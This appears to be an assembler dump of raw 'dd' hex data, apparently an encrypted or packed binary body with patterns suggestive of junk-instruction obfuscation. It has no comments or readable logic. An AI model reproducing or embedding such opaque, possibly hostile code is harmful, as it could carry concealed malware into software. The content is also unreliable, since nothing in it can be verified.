		dd 0E9074F00h, 1E5DEB98h, 37F1DDA8h, 9F1614EAh,	79BB3957h
		dd 0C2BAC43Ah, 39780631h, 31C2BAC5h, 0F7359505h, 3D14AF06h
		dd 0A961B951h, 0F546CCA8h, 36DEFC44h, 72B1ED35h, 31C2A31Ch
		dd 805DCE3Eh, 1C1E9CFCh, 0DC330025h, 2362E0B8h,	31C2B5AFh
		dd 6F277FEFh, 8C0A946Eh, 9BF37D57h, 7D09E2E3h, 93F9D4D5h
		dd 7EDC7A3Eh, 741C7C47h, 2AD32766h, 83F331C2h, 8E8AF48h
		dd 0A8B960A9h, 40F14260h, 0DD8EDF63h, 0D3D47C00h, 0F3F573F5h
		dd 0E6C11356h, 600C205Eh, 34C0990Ah, 0DB2324DCh, 371415BDh
		dd 0BEFD0BB3h, 31C29248h, 0A0651A8Ah, 667FF9F9h, 4DD1AEA3h
		dd 4D1ECDCFh, 0F2A10478h, 731B3981h, 19CA2B83h,	41C5A2D1h
		dd 0DD2E39E1h, 0B931C2D3h, 1B0DB9BBh, 8F05732Fh, 3027E237h
		dd 5E55834Ah, 3A01h, 579FC300h,	32869139h, 1031C2BAh, 0B3994C4Bh
		dd 6A5E5651h, 1, 5DC59F2Ch, 0C09EA0B3h,	8265003Eh, 989941A1h
		dd 8B8C34BEh, 8F7E26B2h, 0B48E4346h, 0E028D92Ah, 9F8771C2h
		dd 94953DC3h, 0BD8830BAh, 34DCB6EBh, 0C2BA81F5h, 0F151C131h
		dd 0A8017B49h, 54AA6817h, 40479CF4h, 0AF2DB38Fh, 71199D7Ah
		dd 7AE2463h, 80F031C2h,	0B667C820h, 0DC643F6Eh,	0F8D3D47Ch
		dd 71B0F270h, 31C2071Dh, 0BD75CD3Dh, 0DB8A8DA6h, 5E559305h
		dd 7D9Ch, 0C39F5E00h, 22CA502Ch, 1C2AD232h, 8CD9701Ah
		dd 37A8ED52h, 3929D1EFh, 1F8560E1h, 35670649h, 0B961C103h
		dd 0AA5270B8h, 9B4361A9h, 0D9F69156h, 0B4137391h, 0D7B3AC6Bh
		dd 734F0051h, 97A00DCh,	9C44A430h, 8E36C29Bh, 0ACBB5E77h
		dd 5E5584D6h, 4C6Dh, 0C39F2F00h, 0B794953Dh, 0E4B3B533h
		dd 90DC2A20h, 89CE86DEh, 0F678568Bh, 0A1E05E4Eh, 31C2E32Dh
		dd 50A5FD6Dh, 36BC9849h, 0C59FFBE5h, 3788933Bh,	1331C2BAh
		dd 59E31315h, 42F73A29h, 146CF8D1h, 270DD8BFh, 0DE5E5582h
		dd 1, 849092A0h, 0EDE38404h, 734ECF27h,	0FC6B6DEBh, 3A70224Ah
		dd 595A126Ah, 4A4BF311h, 3D3EE670h, 6634DC60h, 2D1BF001h
		dd 0AF7429DFh, 3C8E08E8h, 4DA52B07h, 0F13311F8h, 0C2135CB2h
		dd 24FD7E31h, 0A000F098h, 64ECC748h, 5C98E4E6h,	955E59C0h
		dd 0E91EDC3Dh, 0E9A7310h, 922756AEh, 0CCAC906Ah, 42A2DB54h
		dd 763C85C4h, 0DB5C37EEh, 731B7BFDh, 8E0C2A72h,	7755A18Ch
		dd 6AC2D356h, 39164B09h, 0C51D0DB5h, 36DEFC44h,	0EE21D52Bh
		dd 3CDBA037h, 6CBDDB23h, 0AD5573BBh, 0E92864ACh, 37EE2195h
		dd 3DE545B5h, 213ED972h, 0BF6ABBD9h, 5829B6D9h,	14290h
		dd 0FD3C7E00h, 37EE1D89h, 470159C9h, 94125CF1h,	2C41A92h
		dd 74CC014Eh, 12CEA7E6h, 6DEE37EEh, 4AC0C90h, 8AE3F4F6h
		dd 3CEC4029h, 0FD1B63E4h, 95B3FBACh, 86A4ECEDh,	9F7A13DEh
		dd 6D4B7AC2h, 7C3A8BEBh, 0F6D36C47h, 696A1272h,	67A5058Fh
		dd 0D2145006h, 45C0186Dh, 582A175Fh, 179BB0B2h,	8D498DB9h
		dd 4D0B35h, 0F1CD0000h,	5695135Dh, 0B1C2BAC0h, 1F2AD242h
		dd 0B1C2BAABh, 1BF52AFCh, 0AE8E991h, 90F0E088h,	1E24E338h
		dd 30880CE9h, 0A5236D01h, 0C2BA3066h, 1FFB3031h, 0A901F199h
		dd 1A4FCD3Dh, 1D0DB541h, 6D05CFDFh, 0D1293F11h,	8D6170h
		dd 0F1730000h, 5594125Ch, 37EECA60h, 878830A0h,	1FD0213Fh
		dd 0F93BB9D7h, 0EEAB44BAh, 0BE168637h, 0AA80FB06h, 0AE7337EEh
		dd 0B9E7E9EBh, 92E82775h, 0B437EEFCh, 799C0644h, 458D0E66h
		dd 8B0CE16h, 1D74FF3Ah,	0CE2E5A36h, 29BE1D6Eh, 4F2C61DFh
		dd 0DB3323CBh, 43030E4Dh, 37331DAh, 0F4125A5Bh,	0EA6E4B4Ch
		dd 0DBF94142h, 0C8CF6833h, 0F295AE28h, 0D2509A2Fh, 502BC09Dh
		dd 19F768C8h, 72B13F97h, 3BA9EBA7h, 0F77D89D7h,	0FF3A039Fh
		dd 0F1644E9Fh, 5594125Ch, 37F6215Ah, 8ACC4ABAh,	0ADC06F88h
		dd 2BA6FE8Eh, 37F170D7h, 0D18CA9F7h, 0EC8ECD2h,	909E56AEh
		dd 0BBBB0F4Eh, 6BDB37F1h, 6687282Dh, 0B9111429h, 54D2F038h
		dd 0F51E9752h, 156DD5B5h, 9DBB03B4h, 1E1BEAF5h,	0F740A80Fh
		dd 10303210h, 7E1C5085h, 3981025Ah, 0D119CA1Bh,	0A33335B3h
		dd 840EE94Ch, 5BBB411Dh, 714A4B03h, 0C971F9D4h,	32DD0CFBh
		dd 0D1310E39h, 0A6BFC971h, 0CEACE1E3h, 0C5A3A44Ch, 4BAB9B43h
		dd 0C2A72F3h, 0A4C20ABBh, 39DFCh, 0F7AF0000h, 38589FBDh
		dd 29478F90h, 1FA38081h, 16987677h, 0B916D6Eh, 866263h
		dd 0F27E5758h, 0E66E494Ah, 0D9633D3Eh, 89501531h, 405E0h
		dd 0E8830000h, 24048704h, 5124248Bh, 0C181E189h, 4, 8704E983h
		dd 895C240Ch, 5D682404h, 89000004h, 9568243Ch, 8B063367h
		dd 0C4832404h, 3C8B5404h, 4C48124h, 83000000h, 48904ECh
		dd 8478F24h, 53243C8Bh,	0C381E389h, 4, 8704C383h, 8B5C241Ch
		dd 89532404h, 4C381E3h,	83000000h, 1C8704C3h, 0B7E95C24h
		dd 5FFF90Fh, 78152E57h,	6C80B8EFh, 0C5030633h, 5EFBE0FFh
		dd 652F013Dh, 0A3C55ECEh, 90E93DFFh, 8A000000h,	21D22343h
		dd 0BB6CBD47h, 560758E0h, 0EFA0F17Dh, 0AE3C8D13h, 961CF81Dh
		dd 34B69445h, 0D15532E3h, 6987CF80h, 9EDD6B18h,	37F1D728h
		dd 9F96946Ah, 9E923AC6h, 2B9FDE20h, 6B31C2BAh, 4922A3FBh
		dd 5AB16CBDh, 6331C2BAh, 3205019Bh, 46F65E64h, 681EA132h
		dd 30B3280h, 1D000000h,	589FBDF7h, 478F9038h, 0A3808129h
		dd 9876771Fh, 916D6E16h, 8662630Bh, 7E575800h, 6E494AF2h
		dd 633D3EE6h, 681531D9h, 6336D15h, 0F90F09E9h, 0E81328FFh
		dd 0Ah,	5C6390A8h, 7069BEF8h, 8166F06Eh, 5B7319E7h, 0C381C38Ah
		dd 644Fh, 2891B866h, 18EB68h, 0E85EF800h, 6, 95AE9646h
		dd 830F4289h, 2, 0FF5F5952h, 138E0F33h,	60000000h, 8E8h
		dd 0F5DE7B00h, 21E0CFDEh, 0E8805BCEh, 0F5A614Bh, 0EA81C1BFh
		dd 0FDCFBAh, 81C6BF0Fh,	4E3116F2h, 0C762B81Bh, 0C2815CA0h
		dd 6F35DF64h, 188F0Fh, 13E90000h, 6000000h, 0CBE61ADEh
		dd 0DEDFF242h, 0D2B47B31h, 1A2B305Dh, 13894021h, 3860Fh
		dd 0B70F0000h, 4EB83FAh, 94850F4Eh, 66FFFFFFh, 0EB4690BFh
		dd 16h,	4 dup(0)
		dd 4010100h, 33000004h,	0F98B5006h, 89240489h, 2C07059Dh
		dd 0E9006A06h, 14h, 1FF4F5ACh, 511F313Ah, 3A89BD5Eh, 957DD5FBh
		dd 0E5C24E66h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 3EA3C3C3h, 3B29F313h, 8B66BD64h
		dd 0AE858DC8h, 6A06336Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 6641C352h, 90B9EEB9h
		dd 7583BB66h, 6E850h, 4EC70000h, 70E7DF51h, 0FAA74DBAh
		dd 6A905B0Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0E00EC356h, 28362576h,	0E5F9E599h
		dd 5E9h, 0A0A5400h, 0BD8BC360h,	62C09F9h, 0EE9006Ah, 0BE000000h
		dd 0E6E775D8h, 355A26FEh, 51458F78h, 6A006A04h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0B29C357h, 0C93DD0F1h, 7934F992h, 0FF04DE80h, 2C239D95h
		dd 0D8BF0F06h, 6B2E9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0A15BE87Eh, 4D958B81h
		dd 80062C22h, 0B58952D6h, 62C06D9h, 0E8h, 0ED815D00h, 6336FB3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AFC35343h
		dd 8D4F3FDBh, 958BC99Dh, 62C0F59h, 12E5BD8Bh, 6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0F4F29C3h, 4E8D6B7h,	0A0000000h, 0BF00000Fh,	3A1A3B8Dh
		dd 2BF6650h, 24448B88h,	0D08B6604h, 830F008Bh, 2, 44895B56h
		dd 0BA660424h, 6A58147Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D43DC352h,	0F917793h
		dd 294055B7h, 2C39BD09h, 8B66062Ch, 0B195FFC8h,	6A062C26h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 429EC357h, 3EF27B47h, 8DD68B66h, 336E53B5h
		dd 6C7F506h, 6D676552h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 79C35343h, 82975AB8h,	0A3867FADh, 35858953h
		dd 0C7062C1Dh, 6E6F0446h, 6A6C63h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 566B24C3h, 51C18A60h
		dd 0C75B6158h, 73610846h, 9D890073h, 62C1FD9h, 0F59589h
		dd 6A062Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	0FC35646h, 9794028Ah, 0B060364Ch, 8D61F94Eh, 336E5385h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 62F4B281h, 509B57A8h, 0CF8B6657h, 2404895Ah
		dd 8195FFFCh, 0BB062C19h, 4AF6CC08h, 0C00BC5B5h, 72840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0DC43BCC3h, 0E901F18Ah, 14h, 0E2A608A9h
		dd 63997EC1h, 0C43B49B7h, 985EF2DBh, 0C06D0CFDh, 41FE9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0FE26DA98h, 55542166h, 0F57F1CFh, 687h
		dd 0C1BD8B00h, 5B062C0Ah, 70445568h, 6052507Bh,	0BFC78B66h
		dd 0FEC345h, 0E8310F61h, 0Ah, 0C1968396h, 0AC9E592Ah, 0D88B58CAh
		dd 81585A5Ah, 45792434h, 89607B70h, 2C33BD85h, 860F6006h
		dd 0
		dd 0C4DB58Bh, 6161062Ch, 26B195FFh, 6A062Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD0941C3h
		dd 62C2231h, 11B58D0Bh,	0B58D062Ch, 6336E53h, 9115B3BFh
		dd 3106C71Fh, 0F363438h, 46C7F9B7h, 342D3704h, 57006A31h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0C71E4990h, 846h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0A0910EC3h, 0B8B2936Bh
		dd 0CE8h, 2554F100h, 0D16931BCh, 0C3E66212h, 28A0F3Fh
		dd 0B1000000h, 6A5F09h,	6E38BB66h, 23018D01h, 858D062Ch
		dd 6336E53h, 41BD8960h,	29062C23h, 2C0B3985h, 0F906106h
		dd 88Eh, 28B0F00h, 8A000000h, 8A6050F3h, 0F9061D3h, 685h
		dd 45BD8B00h, 0B1062C11h, 8195FFECh, 66062C19h,	0C00BDE8Bh
		dd 41840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 53F76EC3h, 864DB613h, 0BE801h, 50A60000h
		dd 96B2FBA9h, 4FD11C72h, 0EBE2818Fh, 5F7689EEh,	26BE9h
		dd 0E8AEB100h, 4, 12Ch,	50506160h, 50310F52h, 0F93BB52h
		dd 310F0127h, 310F5250h, 585A585Ah, 448B585Ah, 0F18A0424h
		dd 6AB5008Bh, 4244489h,	48A0Fh,	0BF660000h, 6A5822FEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 8B9DC356h, 890FDAAAh, 0Ah, 5E9h, 0FE642600h
		dd 95FFD114h, 62C26B1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 7AC35141h, 0AA72EC15h, 1A852F3Bh, 0E2D9D23h
		dd 0B58D062Ch, 6336E53h, 9D29D0B7h, 62C0E75h, 694606C7h
		dd 6A656Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 8163E3C3h, 66F705C5h, 0C769B9BBh,	6F6D0446h
		dd 6A636Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 89410CC3h, 2C3469B5h, 846C706h, 7373616Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 14C35545h
		dd 0C46C7C6h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CAC35141h
		dd 0CE8DDh, 0AECD0000h,	6E7F85C2h, 4467CA45h, 8D8BEC25h
		dd 62C0D49h, 60006A5Ah,	1C95BD89h, 0BF66062Ch, 8A61C741h
		dd 53858DF1h, 0BB06336Eh, 38359A1Eh, 24048950h,	2D55958Bh
		dd 8529062Ch, 62C0C6Dh,	198195FFh, 6A062Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 6095FFC3h
		dd 0FB272E4h, 38Bh, 0C8B70F00h,	840FC00Bh, 7Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2CC35242h, 9D8BE4BFh
		dd 62C0565h, 0D98D8B57h, 5B062C24h, 11E8h, 73F78E00h, 3FAA31Fh
		dd 0FDF87125h, 0FD4533ACh, 0B5BBA4D7h, 5B6A7231h, 5BE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 8953158Bh, 3D9D23E0h, 0F062C2Bh,	28Fh, 0E9CB8B00h
		dd 0FFFFFA04h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	9C35747h, 11958BB2h, 66062C1Eh,	0DC36CB81h, 71C8B58Dh
		dd 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 52DE4EC3h, 840F2681h, 6, 1595B501h, 0B8062Ch
		dd 0F000000h, 882h, 28D0F00h, 60000000h, 0FE6FF61h, 128Ch
		dd 0C8A0F00h, 0E8000000h, 6, 6AF3BEC2h,	8B5BF99Ah, 199D8DC1h
		dd 0B8062C15h, 1300h, 139D8589h, 0E8062Ch, 58000000h, 0D05h
		dd 0E9038900h, 1300h, 4C0h dup(0)
		dd 2AE9h, 2404C700h, 0
		dd 0E8h, 0ED815D00h, 6338967h, 424448Bh, 0A218589h, 0B8062Ch
		dd 8D000000h, 2C4F518Dh, 0B8E1FF06h, 6754h, 75FDED55h
		dd 76F67A5Eh, 56E669A4h, 0A3FD49BCh, 1FD2DE3h, 46FD2DCDh
		dd 0A4FD2DDAh, 96FD2D5Fh, 8CFD2D9Ah, 55FD2D78h,	4AFD2D08h
		dd 21FD2DB0h, 6CFD2DECh, 25FD2DCDh, 9EFD2DDAh, 0FBFD2D51h
		dd 0D8FD2D9Bh, 0A5FD2D79h, 61FD2D08h, 0B5FD2DBEh, 9DFD2DE3h
		dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah
		dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h
		dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75AB0784h, 75AB059Ch
		dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh
		dd 73CEF7FCh, 0FC24FFA6h, 0F0707CA4h, 73CEF773h, 0FC64FF6Ch
		dd 0F0707CC1h, 73CEF78Fh, 0FC28FF35h, 0F0707C6Dh, 73CEF779h
		dd 0FC60FF1Eh, 0F0707CF8h, 73CEF7F0h, 0FC5CFF7Bh, 0F0707C4Ah
		dd 73CEF10Fh, 0FC58FFD7h, 0F0707C1Ch, 73CEF152h, 0FC54FF42h
		dd 0F0707CD6h, 73CEF129h, 0FC50FFF0h, 0F0707C8Fh, 73CEF668h
		dd 0FC44FFA6h, 0F0707CA4h, 73CEF6C9h, 0FC4CFF6Ch, 0F0707CC1h
		dd 73CEF658h, 0FC48FF35h, 0F0707C6Dh, 73CEF619h, 0FC44FF1Eh
		dd 0F0707CF8h, 73CEF695h, 0FC34FF7Bh, 0F0707C4Ah, 73CEF633h
		dd 0FC30FFD7h, 0F0707C1Ch, 73CEF625h, 0FC2CFF42h, 0F0707CD6h
		dd 73CEF609h, 0FC40FFF0h, 0F0707C8Fh, 73CEF76Ch, 0FC3CFFA6h
		dd 0F0707CA4h, 73CEF706h, 0FC38FF6Ch, 0F0767CC1h, 73D16C5Ch
		dd 0FFEFFF35h, 0F0767C6Dh, 73D164BAh, 0FFEBFF1Eh, 0B69C7CF8h
		dd 9D11F1B0h, 75FD7AF2h, 5317FB23h, 25FB4937h, 0FDF53FD5h
		dd 46776BADh, 0B7342291h, 23AC7ACFh, 20AD29B7h,	75FD7A1Ah
		dd 987C2779h, 73CEF1FBh, 0FC65FFA0h, 0C87D7C1Ch, 73CEF30Fh
		dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0FFEBEF86h, 0FEBD7C8Fh
		dd 7A452B96h, 8AFD7A2Fh, 46776C02h, 0EC48F7CDh,	0F8FB496Ch
		dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 46776CBAh
		dd 0EC48F791h, 0F8FB4942h, 8A50FCD1h, 0BC1F2322h, 0FC65F787h
		dd 2DA07C8Fh, 2CA32005h, 776D92ECh, 0CD4D7A97h,	8A5779C1h
		dd 46776870h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh,	0DE9B5954h
		dd 0FFEFEFD0h, 0DE9B7CA4h, 77959208h, 360B7AE5h, 6E8872F3h
		dd 0FFEFEF86h, 0C54D7C8Fh, 8AAD7954h, 467768BAh, 0F69B2091h
		dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h,	2FFD7ABEh
		dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h
		dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h,	0A916D049h
		dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h
		dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h,	0FF4DBA07h
		dd 676885B5h, 2FFB4978h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h
		dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h,	0DEFD7AF2h
		dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h
		dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h
		dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h,	74BE8CE5h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0FFEBEF0Dh, 0C0707C4Ah
		dd 73CEF361h, 7F518A5Dh, 0E002D02Ch, 73CEF085h,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh
		dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch
		dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h
		dd 2D4D7A5Eh, 0B6577925h, 0FC72FF69h, 0C87D7CF8h, 73CEF36Ah
		dd 0F8EC0FF3h, 46777BFCh, 61152ABAh, 9DFD7A5Ch,	75FD781Bh
		dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh,	0FC72F787h
		dd 0C87D7C8Fh, 73CEF3D1h, 0F8F10F2Fh, 46777B12h, 0DE152ACDh
		dd 0B6FD7AE4h, 75FD7E4Ah, 63688579h, 0F8FB4936h, 467324C3h
		dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h
		dd 7115F9BBh, 8A3E7835h, 467768CBh, 514ACE29h, 0C1FF0E96h
		dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h
		dd 0B5F179BEh, 0B6577825h, 0FFEFEF68h, 917D7CF8h, 0F539FAEAh
		dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh
		dd 7345B995h, 8AFD7ACBh, 46776C70h, 8060F7F4h, 0F8FB49F0h
		dd 0CD3E39A0h, 75FD7A4Eh, 0FFEBEFD0h, 0B57E7CA4h, 8935F1CEh
		dd 0FFEFEF1Ah, 97577CC1h, 0BE15B98Eh, 0FF028543h, 72D97B1Dh
		dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh,	0F611F1A7h
		dd 9D9D86BDh, 75FD7ABCh, 1B17FB04h, 0FCFB49A1h,	0CF7D86EAh
		dd 73CEF0DAh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0FFEBE843h
		dd 0FCBD7C6Dh, 467760ADh, 0F835F191h, 46723879h, 676F85E3h
		dd 0FDFB4978h, 801F3C7Fh, 75FD6D04h, 6F7F795Eh,	35FB49A5h
		dd 0FACBE01Ah, 0B67E7CF8h, 22FEF3E1h, 75FD644Bh, 6F777979h
		dd 0F8FB4936h, 46725EECh, 2B598929h, 75FD722Fh,	636F85CBh
		dd 0F6FB496Fh, 85897E0Ah, 72447C71h, 7DFD7ABCh,	0C3F24B5Ah
		dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
		dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
		dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
		dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
		dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h,	2FFD7A2Fh
		dd 0FAA89016h, 0CF707CF8h, 73CEF0FBh, 0CCF50F79h, 75FD7A71h
		dd 0BC9CDE4Fh, 26FD7E9Ch, 0FFE3E7A2h, 497D7CA4h, 71887BD3h
		dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0FB17FB04h
		dd 0F8FB49A0h, 46776425h, 7D80F1CDh, 75FD725Ch,	145989F2h
		dd 75F9B8B0h, 6B40F7DCh, 46FB49D4h, 75F5C3EFh, 0DF0E7A97h
		dd 0F89DB9AAh, 46776458h, 74C2FBF4h, 0FC7B78h, 7182FBB0h
		dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 6B40F7ABh,	0CDFB496Fh
		dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh,	5E78F7EFh
		dd 8AFB491Dh, 0E8CA8BD0h, 14h, 75043090h, 1FE1D66Bh, 0B9595F01h
		dd 204D80C8h, 96B57EC5h, 58B0Fh, 7EBE0000h, 5A612247h
		dd 0BFBB6660h, 0C2816187h, 6ADDh, 0B8DABF0Fh, 345BA88h
		dd 9FF6E881h, 0BF0F0345h, 663A8BF1h, 251CE681h,	1C81C781h
		dd 6E94BABh, 0EA000000h, 0CB20936Fh, 98F781B4h,	5632A184h
		dd 5EDFB70Fh, 0C7C6F781h, 3A89706Ch, 12E8h, 3C917200h
		dd 2623E1B2h, 0E3508015h, 38DA82D2h, 0B769F3D3h, 0EA835EB0h
		dd 4810B504h, 0FFAF850Fh, 860FFFFFh, 5,	680118BEh, 0A1CAFE37h
		dd 6A8068Eh, 0EC8A4207h, 0ABA8068Fh, 4475EAD5h,	0CA8068Ch
		dd 0BA8A4204h, 0F957AE5Dh, 0B48A4204h, 0ABA8068Ch, 7F75EAD5h
		dd 2FA8068Dh, 0F98A4205h, 0A9A8068Dh, 738A4205h, 0ABA80692h
		dd 2575EAD5h, 0C56ED42Fh, 0C0031319h, 529BC13Fh, 0D7BE90A7h
		dd 0D1215791h, 43B9858Bh, 0C623D42Fh, 0C0031319h, 529BC107h
		dd 0D76990A7h, 0D1215791h, 43B98587h, 0C792D42Fh, 0C0031319h
		dd 529BC113h, 0D60590A7h, 0D1215791h, 43B98593h, 0C77BD42Fh
		dd 0C0031319h, 529BC11Fh, 0D19690A7h, 0D1215791h, 43B985EFh
		dd 0C0F5D42Fh, 0C0031319h, 529BC16Bh, 0D11490A7h, 0D1215791h
		dd 43B985E7h, 0C077D42Fh, 0C0031319h, 529BC173h
		dd 0D09290A7h, 0D1215791h, 43B985FFh, 5012B8C3h, 0CEDF152Ah
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 761B95C0h, 0A8ED96A4h
		dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh,	0C6CB152Ah
		dd 0BA415564h, 0CE75EAD5h, 0C13AAE63h, 848C3934h, 11AB5342h
		dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0DF94DB2Fh, 94751319h
		dd 0D9020112h, 760129A0h, 0EC79AEA4h, 41AE51A1h, 6822DC09h
		dd 0BA8C26A1h, 0DF103773h, 0C821732Ah, 67236D28h, 0FD5BEA2Ch
		dd 508C152Bh, 79009881h, 0ABAE6229h, 0EFD2A5FBh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 761855C0h, 5CDDDAA4h, 828668A1h,	54A8ADE7h
		dd 0BACC152Ah, 78BE7430h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 760129A0h, 0D79AEA4h, 2320949Ah,	328C551Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 458A15C2h, 0BE290BA2h, 43B987BDh,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 0D775532Ah, 52844787h, 0CE19CDA1h
		dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 760129A0h, 0D79AEA4h
		dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h,	454A38F2h
		dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
		dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh,	38A1BE4Ch
		dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
		dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
		dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h,	5D1151A2h
		dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h,	0EF4B93E2h
		dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
		dd 0D4A7B222h, 860085E1h, 6822DC08h, 0BA8C26A1h, 0FEF8E173h
		dd 0CEB69FA7h, 85575791h, 6E20D6A0h, 29215DDFh,	174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52844F37h,	0C8204526h
